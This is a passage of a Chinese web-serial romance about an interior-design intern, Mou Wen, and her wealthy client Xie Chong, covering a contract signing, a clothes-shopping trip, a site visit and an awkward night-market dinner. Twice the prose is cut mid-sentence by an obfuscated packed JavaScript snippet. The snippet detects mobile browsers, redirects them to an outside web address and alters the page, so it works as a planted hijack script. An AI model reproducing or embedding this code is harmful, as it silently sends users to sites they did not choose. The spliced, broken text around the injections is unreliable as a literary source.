牟雯停止了庆祝的动作:“对啊,没有啊。”接着她甩了下头:“不管了师父,不接就不接,以后都不接也行!因为他——是我们的啦!” 牟雯整个人都被开心浸泡了。 她觉得自己是一盆水培的植物,只要滴一两滴营养液就能满屋疯涨。谢崇的合同就是她的营养液。 她在做合同以前给楚凌发QQ消息:“楚凌女士,现在!立刻!马上!决定周末吃什么!必胜客还是九头鹰!” 楚凌发来一个问号脸:“你有新合同了!你说的那个80万成了!” “对!成了!” “必胜客!必胜客!”楚凌果断选:“我要吃必胜客!” “等我!” 牟雯一边改合同一边哼着歌,她身体所有的不适都消失了,她好开心啊,她要飞起来啦! 林为森提醒她喜怒不形于色,别让客户嘲笑她没见识,她说好的,用两根食指压住自己的嘴角。 谢崇来了。他身上带着外面的潮湿,好像在雨里走过似的。 合同已经规规整整摆在了桌子上,旁边还附着一个赠品清单。 牟雯很钟情那个洗碗机,她想如果我是谢崇,我就选洗碗机。洗碗机多实用啊!多稀罕啊!我妈妈甚至没见过真的洗碗机呢! 她站在林为森身后,尽管刻意提醒自己,但眼里的喜悦却从她的五官里冒出来,四面八方都是她的快乐。谢崇只看了她一眼就低头去看合同。 他其实知道这些制式的合同不会有太大的问题,这家业内顶尖的设计公司早就被客户千锤百炼过了。他只随便翻了翻核心条款就问林为森:“今天交预付款?” “可以转账。”林为森说:“条款里有银行账号信息。” “好。明天去银行处理。” “也可以刷卡。”林为森说:“刷卡很方便。” 牟雯在心里呐喊:刷卡!刷卡! 谢崇这时看向她:“所以我能拿到两个赠品是吧?” 牟雯早已提前跟林为森申请过,她心里不慌:“是的,我师父单独为您多申请了一个。” “好的。”谢崇拿起赠品清单,这些东西他都看不上,就随便选了两样。他没选洗碗机,牟雯心想:太可惜啦,洗碗机多实用啊! “那以后的工作谁跟我对接?”谢崇又问。 “我和…” 谢崇打断林为森的话:“好的,那就请林工以后有事直接打给我。” 牟雯直到此刻才意识到谢崇的不对。 他们仅仅见过几次,在昨晚分别的时候他还在对她微笑,那么究竟是哪里出问题了呢? 她想到自己死去的“帆布鞋”,想起昨晚她穿着那双鞋走进洽谈室时谢崇的目光落在她的脚上。 原来是这样啊。 牟雯想:他跟昨天的那些客户并没有什么不同。别人的傲慢会说出来,他的傲慢会藏起来。他看起来那么得体,却默默把她踢出了他的“阶级”。 牟雯的呼吸停滞了一下。 “真闷啊。”她去打开了窗。外面的雨还在下着,一层一层朝人倾轧过来。 她的快乐好像被稀释了,但仍在四面八方飘着。林为森让她帮忙处理后续的事宜,她开开心心带着谢崇去。 她还是当面对谢崇表达了感谢:“真谢谢你昨天送我回去,但是很抱歉,我没想到今天就会见到你,所以把伞放在宿舍了。”见谢崇不解地看着她,就有点不好意思地说:“你那把伞很好,我怕用坏了。” “我知道您的雨伞很多,但其实我也有一把。”她笑着对谢崇说:“一把就够用啦!明天我拿到公司,下面我师父去现场的时候帮我带给你。” 她已经默认自己不会再去到谢崇的现场了,他应该不会同意她再去了。他不喜欢她的“开口笑”鞋子。 谢崇听她这么说,终于认真看向了她。 他发现她真是一个聪明的女孩,心思又细腻敏感,她好像什么都懂。 “好的。没问题。”他说。 6.四遇 这一场秋雨结束,北京骤然入了冬。 牟雯终于捱到了周末,跟楚凌二人一人背了一个大袋子挤上了去动物园的公交。 牟雯决定重新调整一下自己的预算分配——买电脑的事先放一放,她要先去置办衣服。 “我要成为一个真正的都市丽人。”她的手牢牢攥着把手,让楚凌的双手握着她的胳膊,借她几分力,让她在拥挤的公交车上站稳。 “为什么啊?” “因为我衣服太少了。”牟雯说:“得有几身像样的、糊弄人的衣服。” 从前牟雯节俭,觉得自己是半个“工地仔”,并不需要买特别好的衣服。她的衣服并不多,但她个子高,审美又有风格,这样搭一搭、那样搭一搭,总归都好看。这几天意识到人真的要靠衣裳,很多人会看穿着给你发“通行证。” 滴,你穿的不错,你应该有点小钱,我要尊重你几分。 大概就是如此。 她甫入现实社会,原本想以实力说话;不料还未到展示实力的时候,现实就朝她挥了一拳。 “你受刺激了。”楚凌说:“牟雯,你真的被客户刺激了。” “是的!”牟雯肯定地点头:“我受刺激了!我受大刺激了!”牟雯学那学客户的语气“这个坏了你赔不起哦…”。 “总之,我今天要在动物园和中关村,闯出一片天!” 她想闯,但周末的动物园批发市场不允许她飞太高。那里面人头攒动,她的脚尖踢着别人的脚跟,费力挤进心仪的摊位。 买衣服要讲究稳、准、狠,看好了直接套在身上,跟楚凌互相看一眼,点头就是好看可以买,摇头就是难看脱下来。可以买的要砍价,不能对折砍,直接喊两折价。老板听到价格懒得理你就是喊低了要加一点;故作为难地说“行了行了,赔钱卖给你”就是给多了。 这就像一场又一场的博弈,到头来博的无非就是钱包里有多少钱。牟雯一边“博弈”一边憧憬未来:有朝一日自己看上什么付钱就走、或是把这里都包下来。 她们的大袋子慢慢变鼓起来、塞不下,才不过花了千八百。又挤公交车回去,把东西放到宿舍,扭头再去中关村。 中关村的商场有商务女装,牟雯试了脱、脱了试,斥两千巨资买了大衣和衬衫。付钱的时候她觉得自己的心在嘀嗒、嘀嗒地滴着血,拥有新衣服的喜悦顿时被冲淡了一半。 “等我有了钱~”她挥舞一下手臂,压低声音说:“这些统统买走!” 楚凌学她:“我也来一份一样的!” 两个人目光对上,都憋不住,笑了。 吃必胜客的时候是最开心的时候。 两个人坐在窗前的位置,认认真真研究吃什么。楚凌想帮牟雯省钱,牟雯拍拍自己的钱包:“不许省钱,就吃好的!” 牛排要点、披萨要点、意面薯条鸡翅都要点! 牟雯好喜欢吃“拉丝”的披萨,她咬住披萨一角,腮帮子微微鼓着,头向后仰,芝士拉出细丝。两个人坐在一排,比谁“拉的丝”长,眼睛都笑弯弯的。 窗外行人川流不息,偶有人向里看一眼,看到两个人滑稽的举动,会开心笑笑。她们沉浸在自己微小的幸福里,并不在意别人的目光。 就这样跟朋友度过美好的一天、晚上吃一餐好饭,最妙的是下一天是星期天,还有24小时可以挥霍,这感觉那么幸福。 牟雯把谢崇带给她的不快彻底忘在了脑后。 周一她穿着新衣服去了公司。 一件烟色粗针高领毛衣,一条做旧白色牛仔裤,将毛衣摆随意塞进牛仔裤,系一条黑腰带,外套一件黑色大衣。在电梯间她偷偷照镜子,觉得自己真像个“大人”。 小顾看到她“哇”了一声:“雯雯你今天好…好看!” 牟雯叉着腰,很高傲的样子:“叫我都市丽人。” “好的,都市丽人。” “以后我就穿这样去量房。”牟雯仰起脖子在办公室里迈着四方步蹓跶,学“客户们”的气定神闲。小顾在一边呵呵地笑。 电话响了,是林为森。他老婆提前发动生产,不能来公司,让牟雯去工地看一眼,今天谢崇的房子要开工了。工长已经就位了,设计师也要去。 “我算了吧。”牟雯想到谢崇有了畏难情绪:“万一谢先生看到我生气怎么办呢?” “他今天不会去。钥匙已经提前给工长了。” “那行!”牟雯做事利落,说走就走。 因为穿了新衣,路过有镜子的地方总会刻意看一眼,看一眼就由衷夸自己一句:真好看啊。在谢崇楼下等电梯,四下无人,也抓紧时间欣赏自己。 电梯门开了,她还在歪着头,并没想到里面站着谢崇。她马上收了动作,端正起姿态,跟谢崇解释:“谢先生,是这样的…我师父他…” “他老婆生孩子。我知道,他刚给我打过电话。”谢崇说。他的眼睛礼貌地跟牟雯对视一次,就看向前面。反光镜里的他们都穿着黑色大衣,只是他块头大一点,她块头小一点。她的穿搭随性自在,又不乏审美,是有功力在的。 谢崇确认那双“开口笑”是一场意外。 他又觉得牟雯似乎是一个可以正常相处的人了。 他鲜少对人有这样的“摇摆”,当他意识到这一点的时候,忍不住皱了下眉。 他皱眉,牟雯隐约看到了。糟糕,我又惹他了。 她拘谨地站在那里,紧抿着嘴巴,不敢跟谢崇说话。 谢崇意识到自己似乎吓到了她。 她原本没做错任何事,她的现实生活就是那样:一个还没正式毕业的女孩,做着辛苦的实习工作,几乎每一天都要熬大夜,顾不得光鲜体面。她正在学习入社会的第一课:活着、活下去。 谢崇自己没有经历过这样的日子,他的日子顺风顺水,父母早早就积累了财富,到他这里,得以以爱好所长为工作,也能赚大把的钱。 他早前就已知晓他们不在一个世界,但他对她的态度过于严苛了。 此刻她站在那里,怕得罪他,怕这次偶遇给自己的师父带来麻烦。原本开朗自在的人现在在思索怎么应付他。 谢崇扭过头看她一眼。 牟雯也看他一眼,礼貌对他笑笑。 电梯门开了,牟雯跟谢崇一起走到门前。 谢崇打开门进去了,牟雯却站在门口,半个身子探进去,招呼工长:“刘工,辛苦你来一下。” 谢崇闻言回过了头。 他看到牟雯从她资料袋里拿出厚厚一沓图纸和一根笔,把纸按在墙上开始标记。 “进来对图啊。”刘工说:“看看我画的点对不对。” “我师父跟你对过了,我再确认一下就好。”牟雯笑着说:“来嘛刘工,我在这里跟你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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接着他的目光落在她的动作上。她站在墙边的时候,会用手压住大衣的衣摆,小心翼翼保护自己的衣服不蹭上灰尘。 一件衣服而已。 她却要如此。 牟雯察觉到谢崇的注视,就看向他。她不知这个夜叉又要弄出什么死样子来破坏她的心情,就问:“谢先生我们刚说的有问题吗?” “没有。”谢崇答。 没有就太好了。你千万别有。牟雯加快了速度,想赶紧走,她像上了发条,突然加快了语速。刘工原本还沉浸在她的细致周到里,转眼就跟不上了。双腿紧着跟着牟雯捣腾,重走了一遍屋子。 “没问题了!”牟雯说:“辛苦刘工了。这两天有事先打我电话。”说完想起得征求房主意见,转过头问谢崇:“打给我可以吗谢先生。” “可以。”谢崇答。 “感谢信任。”牟雯对他抱拳:“那我先走一步啦,公司还有很多事。” 她走到门口脱鞋套,站不稳,就在地上跳了两下以保持平衡。一只手揪住了她肩上的衣服给她借力,抬头一看竟是谢崇。 “你脚底装弹簧了?”谢崇打趣。 依照牟雯的性格,定是要来一句俏皮话的。但此刻她愣住了。 她觉得谢崇有病。 她就那么看着谢崇,带着一种审视。原谅她没见过什么世面,不知谢崇是如何做到在偏见和玩笑中切换自如的。 他凭什么啊? 7.四遇 牟雯的委屈就那么一点点冒了出来。 她想起自己并没做错任何事,却遭到谢崇的冷遇。林为森私下问她是否得罪过谢崇,是否对他有过不合时宜的举动。牟雯并没对师父说是因为她的“狼狈”。 谁又愿意以那样的面貌示人呢?她觉得自己吃了一个根本无法与人讨论的哑巴亏。 牟雯收回目光,弯身脱另一只鞋套。 她真正委屈的时候并不愿说话,她知道,即便说了,谢崇也不会懂。 她想着师父过两天就会回来了,刘工又是公司合作最久的工头,谢崇这里应该不会再需要她来了。他们以后大概也不会再见了。 但出于礼貌,她仍旧跟谢崇道别:“我刚刚跟刘工沟通完了,这几天是拆除工作,应该不会有大问题。我师父很快就会回来了,谢先生也不用担心。” “祝谢先生装修顺利,早日乔迁。” 她的态度很疏离,手里攥着两只鞋套,肩上背着一个资料袋子,新衣上到底粘了一点灰,她用手拍一拍,接着对谢崇摆手:“回见!” 转身去按电梯。 她觉得自己的脊背很烫,但她没回头确认谢崇是否在看她。 这该死的电梯这一天怎么这么慢! 牟雯在心里催“快点”、“快点”,电梯终于来了,她抬腿上去,察觉到身后有动静回头去看,谢崇也上了电梯。 “我也走。”谢崇说。 “哦。” 漂亮话说早了。牟雯想,应该留到电梯里说。真闹心。 “你没按电梯。”谢崇提醒她。 “你离电梯近。”牟雯说。 谢崇扭头看她一眼,帮她按了1。 “你没按B1。”牟雯说。 “我不去B1。”谢崇答:“我送你下楼。” 牟雯抬起头看他,他好像在憋着笑。 牟雯终于忍不住了:“我四肢健全不用你送啊。你时间宝贵,快上去吧。” “对不起。那天在你们公司,我跟林工说以后有事由他联系我。对不起。”电梯门开了,谢崇伸手按住了开门键,让牟雯先出。 谢崇的道歉来得很突然,让牟雯刚刚压下去的委屈又开始向上生长。 她机械地向外走,谢崇跟在她身后。 秋冬交替之时,起一阵风,落叶争先似地向下落,眨眼间他们肩头就各有一片,牟雯的头上也落了一片。 “我想我可能误会了。”谢崇原本是一个直率的人,今天牟雯的谨小慎微令他赧颜。他再次意识到自己在不知不觉间,用所谓的“高人一等”的心态,碾压了这个初出茅庐的女孩。他真是不该啊。 “误会什么?”牟雯听得一头雾水,她想不起他们之间除了所谓的“贫富差距”,还会有什么误会。 “我误会你对我有好感。”谢崇坦诚地说:“牟雯,我怕麻烦。” “哈?”牟雯的眼睛睁大了。她喜欢她的房子、车子,喜欢他的修养,但不喜欢他现在这样自以为是的傲慢。 她也没太听懂谢崇的话。 退一万步讲,被人喜欢又会有什么麻烦呢? 她的眼睛转啊转,转到谢崇身上,恍然大悟:“你怕我骗你钱!”接着捂住嘴巴:“天啊,你怎么会这么想!我怎么会骗你钱呢?我做骗子,我妈妈会打折我的腿!我还要为我爸爸…” 牟雯说到这里打住了,她意识到她表达的太多了。豪气地摆手说:“你放心啦,我不会做骗子的。” “我说的麻烦不是这个。”谢崇说:“你虽然聪明,但也不至于能骗到我。” “那是什么?” 谢崇耸耸肩:“没事,不重要了,总之对不起。” 牟雯并不太关心到底是什么麻烦,她长舒一口气:“所以我们之间还有误会吗?你不会再针对我了吧?” 谢崇摇头:“没有了。也不会了。”伸出手捏掉她头顶的那片叶子,动作很礼貌,连她的发丝都没碰到:“其实我们见过这几次,我觉得你是一个挺可爱的人,我当然不会再针对你了。” 牟雯对他伸出手。 “什么?” “要么你交点押金吧!我看你这人的性格不太稳定,你现在说不针对我,转头就去投诉我,我不能竹篮打水一场空啊!”她的手倔强地伸着:“交!快点!” 谢崇真的从口袋里拿出皮夹,牟雯看到那个皮夹里有厚厚的一沓钞票,还有一张照片,她没看清照片人的长相,因为她的视线被钞票吸引——好多钱啊。真的有人会随身带这么多现金啊,她每次只从取款机里取500块钱的。 谢崇抽出一些给她,她真的接过,认真数出了五张,其余还给他。 “只要你不为难我,我会在你付装修全款以后把五百块钱还给你。” “就值五百?”谢崇问。 “对。”牟雯肯定地点头:“就值五百。” 谢崇笑了。 他平常是一个吹毛求疵的人,脾气又臭又硬,但欺负弱小的事他不太干,感觉很下三滥。跟牟雯讲清楚后他轻松了很多。 他笑起来很好看。 牟雯也眯起眼睛学他笑了下。 在这一来一往的笑意里,她觉得谢崇给予了她尊重,她的心情真正地变好了。她的快乐又开始四面八方地生长了。 挥手跟谢崇说再见,又说了那句话:“谢先生,你真是一个好人!” “前两天是什么?” “王八蛋呗。还能是什么。”牟雯说完对他撇撇嘴,撒腿跑了。 谢崇目送她出了小区,这才掉头回去。 他晚上跟蒋芜有约。 见面的地方在一家旋转餐厅,蒋芜很喜欢这里,因为能看尽北京的夜色。 这一天她比谢崇早到,见到谢崇就对他招手。 谢崇坐在她对面的位置,发现蒋芜今天画了妆。蒋芜见他从不化妆,用她自己的话讲:她原本是什么样,见谢崇就是什么样。 “怎么化妆了?”谢崇问她。 “今天去看展了。”蒋芜很开心地给谢崇描述了一下那个先锋展,谢崇知道那个展,很垃圾。他自己做艺术品生意,对那种哗众取宠的展根本不屑一顾。但他没说话。 如果他说话,蒋芜又要说他傲慢了。 蒋芜说完问谢崇:“你今天看起来心情不错。” “还可以啊。”谢崇说:“房子动工了。” “那很好啊。”蒋芜说:“多久完工?” “半年吧。” “那很快啊。”蒋芜说着话顺手把头发挽起来,露出好看的脖颈,见谢崇盯着她看,就张开手掌挡着他的目光:“不是说好了吗?好好做朋友。” “那怎么着呢?我自挖双目?我跟你说话的时候闭眼睛?” “谢崇!”蒋芜起身拍打他:“你又来!” 蒋芜是喜欢谢崇的。 但谢崇总是这样,他的嘴不饶人,无论什么时候都不肯输。蒋芜总说是谢崇的家境让他如此傲慢,谢崇就会反问她:“家境?在北京我算老几?你知道的,北京最不缺有钱人。” 谢崇住嘴不说话。 他原本给蒋芜准备了生日礼物,但这时听到蒋芜跟他说起很喜欢一个朋友送她的礼物:是耗时很久,亲自雕刻的摆件。她觉得用了很大的心意,很有意义。 于是谢崇没提礼物的事。他知道拿出来蒋芜又要说:我不喜欢这些华而不实的东西。就跟他不理解蒋芜为什么喜欢那个破展一样。 蒋芜是真的不喜欢,但她喜欢的东西,谢崇也是真的不会做。 陪蒋芜吃完饭,他送她回家。 两个人走在夜色里,谢崇无意间蒋芜靠近一点,她就伸出手比划:“一拳距离,忘啦?” 这路谢崇不会走了,他对蒋芜说:“要么你以后先给我修条铁轨,我跟你走路就在铁轨里走?” “可以啊。”蒋芜说:“那你等我修好吧!” 谢崇觉得自己的好心情都要被蒋芜给败透了。 每次见她前他都很开心,见面后带着一肚子气回家。偏他又是一个倔人,蒋芜越如此,他越较劲。 这一天的好心情已经所剩无几了。 在车上的时候,谢崇一句话都没有说。 蒋芜看到他副驾的脚垫上有泥,就无意地问一句:“你车坐人了?” “嗯,装修公司的人。”谢崇说:“这几天还没功夫去洗车。” “你在忙什么?洗车的时间都没有。” “我在赚钱。” “好吧。”蒋芜的脚避开脚垫上的泥,不再做声。下车的时候蒋芜对谢崇说:“我没拴着你,你可以跟别人约会,咱们本来也只是朋友,对吗?” “什么意思?”谢崇问。 “意思就是咱俩的性格真不合适。”蒋芜说:“我每次见你都不开心,我也不知道为什么。不开心就是不合适。” “可以啊,我跟别人约会。”谢崇赌气地说,接着开走了。 他在城市里漫无目的地开,深夜的三环路没有很多车,他把车窗落下来,想感受一下自在,不到两秒钟就升了上去。 “我操,真冷。”他骂了一句:“我可真是傻逼。” 北京的冬天就在这样的寒冷中真正到来了。 谢崇一点都不喜欢北京的冬天,光秃秃的、灰败的。他也不爱去房子那,里面破破烂烂的,他看着很糟心。 于是打给牟雯。 牟雯正在加班,一个客户要做老破小装修,说空间利用率太低,让牟雯想办法把一切都“折叠收纳”起来。 牟雯对着那图不停地摆东西,计算尺寸,但太难了。卫生间小,浴室如果装玻璃门,外开门会撞到洗手台;阳台上装晾衣架,边柜门就打不开;小朋友的童书要摆放,但儿童房没有书柜的位置。 这难不倒牟雯。 她已经快要有眉目了,谢崇的电话却打断了她的思路。 她压根没看是谁,直接挂断了。 那头的谢崇以为自己打错了,又看了一眼电话,才再打了进来。 牟雯气恼地“哎呀”一声,不得不又拿过电话。看到是谢崇,她“咦”了一声:夜叉。他给我打电话干什么? “谢先生你好。”牟雯不等谢崇回应她,直接问:“有事吗?” “…你刚拒接我电话。” “没有啊…”牟雯死不承认:“怎么啦?” “装修进展怎么样了?”谢崇问。 “在刨地砖。”牟雯说:“谢先生可以自己去看看诶,刘工今天还说来着,说你开工之后没去过。” 谢崇说:“我不想去,里面太脏了。” “哦。”牟雯心不在焉地说:“回头我们去完现场我跟你汇报啊。” “好。谢谢。” “不客气。”牟雯着急画图,直接说:“那再见!”毫不犹豫挂断了电话。 谢崇听着电话的忙音想:我是不是对她态度太好了?她敢这么挂客户电话了? 两天后的傍晚他去了房子。 刚下电梯就看到门开着,听到里面有人在说话。是牟雯。 谢崇走进去,看到牟雯戴着口罩蹲在地上在看刨的平不平,她就差把脸贴地面了。 见到谢崇来了就跳起来,白色口罩上粘着灰,看着脏兮兮的。她不自知,从口袋里掏出一个新口罩给谢崇:“谢先生快戴上,灰尘太多了。” 谢崇接过口罩,四下看看。 他们干活果然漂亮,几天过去,该拆的墙已经拆了、该刨的地面也刨了,建筑废料也已经拉出去了。现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452948|201049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一整个房子空荡荡的,看起来愈发大了。 “满意吗!”牟雯露出的眼睛期待着谢崇的表扬。 “还凑合。” “凑合?”牟雯不高兴了:“这么漂亮的活怎么能是凑合呢?” “你换个口罩吧。”谢崇说:“这个脏了,看着难受。” 牟雯拿下口罩看看,又戴上了:“里面又没脏。”接着给谢崇介绍下一步工作:“空间都弄好后,开始走线。回头你真要看看我们刘工走的线,像艺术一样!” 刘工在一边嘿嘿地笑。 离开的时候谢崇问牟雯:“你就这么喜欢这个工作吗?每次见你都像打了鸡血似的。“ “当然啦!这工作多好玩啊!”牟雯的脸上留着口罩印儿,她一边揉一边说:“怎么会有人不喜欢呢?盖房子啦、装修啦,这些都是很好玩的东西啊。” 谢崇突然问:“你这会儿来我这是林工让你来的?” “不是啊。师父这几天太忙了,没时间。我离这里近,下班就来看看。”牟雯拍拍自己胸脯:“交给我们你就放心吧!咱的工作都是做在实处的,根本不需要你督促!” 她可太会自卖自夸了。 谢崇笑着抬腕看了眼时间,快到七点半了,天已经黑透了。 “你晚上吃什么?”他问。他想感谢一下牟雯,他没想到她对他的房子如此上心,这让他很感动。 “我待会儿去宿舍后面吃。”牟雯说:“里面好吃的东西很多。”她没意识到谢崇想请她吃饭,自顾自地说:“今天我得多吃点,白天太忙了,没功夫吃。” “我的意思是我可以请你吃晚饭。”谢崇叹了口气:“你是听不懂吗?” “啊?”牟雯这才反应过来,她有点受宠若惊似地摆手:“不用不用,这都是我应该做的。” 见谢崇要不耐烦,马上说:“那实在不行你陪我去巷子里随便吃一口?”她无功不受禄,不敢真吃谢崇请的饭。吃了又要考虑还回去,她那点钱可还不起谢崇的人情。 她一口一个巷子,谢崇压根不知道有那么个地方。他倒是好奇,就说:“行,走吧。” 牟雯坚持要坐公交车,说这样省去找停车位的时间,能少挨点饿。她应该真的是饿了,在公交车上快被挤薄了。谢崇多少年没坐过公交,这会儿一个大高个子杵在那,一会儿别人的胳膊肘撞着他腰了、一会儿有人踩他脚了。 牟雯见状有些隐隐得意:你也有今天! 但她终究是个好人,伸出手将他拽到自己的那个位置,而她转面对谢崇站着,一手把着前座的椅背,一手把着竖杆,生生为他隔出一个相对清净的空间来。 “谢谢。” “客气什么。”牟雯说:“就几站地。” 谢崇没被人这么保护过,他觉得当下的自己一定是“可怜”、“无助”的。这个念头让他恨不得找地缝钻进去。 好在马上下车了。 跟在牟雯身后,穿过小门,拐几个弯,就别有洞天了。她口中的后巷是个小夜市,里面什么都有,人挤着人。 谢崇从小就不喜欢拥挤,一到这种环境他就不自觉地烦躁。就像吃饭,若是餐厅让他排队,他掉头就走。 牟雯带着谢崇直接去吃烫串串。 四川老板娘看到牟雯身边跟了个气度非凡的男人,就问她:“带朋友来吃啊?” “对啊,我客户!”牟雯热情地介绍,拉了把椅子,指挥着谢崇跟她一起挤着坐下去。 谢崇的胳膊贴着牟雯的胳膊,膝盖碰着她的膝盖,他觉得不礼貌,向旁边移,好么,又碰到了陌生人的。于是他又移回去。怕陌生人把他当流氓。 热锅冒着热气,牟雯眼里冒着“贪婪”的光。她轻车熟路地点串串,扭头问谢崇吃什么,谢崇说:“都行。” “那你从锅里自己捡。” “好。” 这里简直没有隐私,旁边人说的话谢崇听得清清楚楚。他也担心别人的唾沫星子喷到他的料碟里,所以一只手一直挡着自己料碟,像老母鸡护着自己下的蛋。 牟雯一边吃饭一边斜眼偷看他,也不知怎么,见到谢崇这样,她心里快要乐开花。她还故作关心问他:“怎么啦?是不是不好吃呀?” 谢崇没理她,从锅里挑拣出几串来吃。 这玩意儿也不好吃。他不明白为什么牟雯吃那么香。热气熏的他心烦意乱,只想快点走。 好在牟雯狼吞虎咽吃的快,他快速结了账就率先出去了。 四川老板娘小声对牟雯说:“他饭量真小。”一点都没怀疑是他觉得自己的东西“不好吃”。 牟雯点头:“就是,饭量真小!” 出去后问谢崇好吃不好吃?她还说之前看偶像剧,富豪都很喜欢这种接地气的地方呢!谢崇问她:“你想不想听实话?” “想啊。” “我觉得这只能果腹。”谢崇想起旁边人打的那声响嗝,他又一阵作呕。 他很后悔提出请牟雯吃饭这件事。 牟雯是一个很好的人,但他们真的吃不到一起去。 “我送你到楼下。” ”不用不用。”牟雯摆摆手:“你别送啦,再见!” 谢崇不说话,闷头朝牟雯家走,到楼下对她说:“上去吧。今天辛苦了。” “拜拜。” 牟雯跟他挥手再见。 她快速跑上楼,到了小阳台上,从高处向下看。 她在人头攒动的天桥下费力地找到谢崇,他好像正在打车。但车来了,被人捷足先登了。 这是他罕见的笨拙的时候,牟雯哧一声笑了。 “你在看什么?”楚凌问她。 对啊,我在看什么?我为什么急忙忙跑上来看他啊? 牟雯困惑了起来。